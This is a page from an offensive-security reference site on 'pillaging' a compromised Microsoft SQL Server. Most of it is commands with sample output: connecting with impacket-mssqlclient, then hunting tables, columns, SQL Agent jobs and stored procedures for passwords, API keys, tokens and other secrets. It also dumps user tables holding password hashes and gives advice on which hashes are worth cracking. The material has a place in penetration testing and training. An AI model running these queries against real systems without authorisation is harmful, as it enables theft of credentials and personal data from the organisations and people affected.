Skip to content
HackIndex logo

HackIndex

MSSQL Database Pillaging

4 min read May 15, 2026

Once access is established through SQL authentication or via xp_cmdshell, the database itself is the primary loot target. Application databases contain credentials, API keys, PII, session tokens, and business-sensitive data. This page covers efficient enumeration of database structure and systematic extraction of high-value content.

Enumerate Databases

List all databases on the instance. System databases (master, tempdb, model, msdb) rarely contain application data — focus on anything else:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
mysql> SELECT name, database_id, create_date FROM sys.databases ORDER BY database_id; 
name          database_id  create_date
master        1            2003-04-08 09:13:36
tempdb        2            2024-01-15 09:22:11
model         3            2003-04-08 09:13:36
msdb          4            2000-08-06 01:53:27
AppDB         5            2022-03-14 11:04:52
HRSystem      6            2021-09-01 08:33:17

AppDB and HRSystem are application databases worth enumerating.

Check which databases the current login can access:

mysql> SELECT name FROM sys.databases WHERE HAS_DBACCESS(name) = 1;

Enumerate Tables

Switch to the target database and list all tables:

mysql> USE AppDB;
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' ORDER BY TABLE_NAME;

Look for tables with names suggesting credentials, tokens, or sensitive data:

mysql> SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME LIKE '%user%'
OR TABLE_NAME LIKE '%account%'
OR TABLE_NAME LIKE '%login%'
OR TABLE_NAME LIKE '%credential%'
OR TABLE_NAME LIKE '%password%'
OR TABLE_NAME LIKE '%token%'
OR TABLE_NAME LIKE '%secret%'
OR TABLE_NAME LIKE '%key%'
OR TABLE_NAME LIKE '%api%';

Hunt Credential Columns

Search across all tables in the current database for columns likely to hold credentials:

mysql> SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE
FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME LIKE '%password%'
OR COLUMN_NAME LIKE '%passwd%'
OR COLUMN_NAME LIKE '%pwd%'
OR COLUMN_NAME LIKE '%secret%'
OR COLUMN_NAME LIKE '%token%'
OR COLUMN_NAME LIKE '%api_key%'
OR COLUMN_NAME LIKE '%hash%'; 
TABLE_NAME   COLUMN_NAME      DATA_TYPE
users        password_hash    varchar
users        api_token        varchar
settings     smtp_password    varchar
integrations api_key          varchar

Dump Sensitive Tables

Once interesting tables and columns are identified, read the data directly:

mysql> SELECT TOP 20 username, email, password_hash, api_token FROM users; 
username    email                  password_hash                               api_token
admin       [email protected]       $2y$10$abc123...                            tok_live_abc123
jsmith      [email protected]     $2y$10$def456...                            NULL

Bcrypt hashes are slow to crack. Look for weaker hash formats first — MD5, SHA1, or unsalted SHA256 are common in older applications. Check the hash length and format before deciding whether cracking is worth attempting.

For configuration or settings tables that may store integration credentials:

mysql> SELECT * FROM settings WHERE setting_key LIKE '%password%' OR setting_key LIKE '%secret%' OR setting_key LIKE '%key%';

Search All Databases

Run the column search across all non-system databases at once using dynamic SQL:

mysql> DECLARE @sql NVARCHAR(MAX) = '';
SELECT @sql += 'USE [' + name + ']; ' +
'SELECT ''' + name + ''' AS db, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS ' +
'WHERE COLUMN_NAME LIKE ''%password%'' OR COLUMN_NAME LIKE ''%secret%'' OR COLUMN_NAME LIKE ''%token%''; '
FROM sys.databases
WHERE name NOT IN ('master','tempdb','model','msdb') AND HAS_DBACCESS(name) = 1;
EXEC sp_executesql @sql;

msdb — SQL Server Agent Job Loot

The msdb system database contains SQL Server Agent job definitions. Jobs often include inline T-SQL, PowerShell, or OS commands with embedded credentials:

mysql> USE msdb;
SELECT j.name AS job_name, s.command FROM dbo.sysjobs j
JOIN dbo.sysjobsteps s ON j.job_id = s.job_id
ORDER BY j.name;

Look for connection strings, passwords passed as arguments, or hardcoded credentials in the command column.

Stored Procedures and Views

Stored procedures and views sometimes contain embedded credentials or logic that reveals how the application stores and retrieves sensitive data:

mysql> USE AppDB;
SELECT ROUTINE_NAME, ROUTINE_TYPE FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_TYPE = 'PROCEDURE';

Read a specific procedure:

mysql> SELECT OBJECT_DEFINITION(OBJECT_ID('dbo.sp_authenticate'));

Or search procedure definitions for credential patterns:

mysql> SELECT name, OBJECT_DEFINITION(object_id) AS definition
FROM sys.objects
WHERE type = 'P'
AND (OBJECT_DEFINITION(object_id) LIKE '%password%'
OR OBJECT_DEFINITION(object_id) LIKE '%apikey%'
OR OBJECT_DEFINITION(object_id) LIKE '%secret%');

References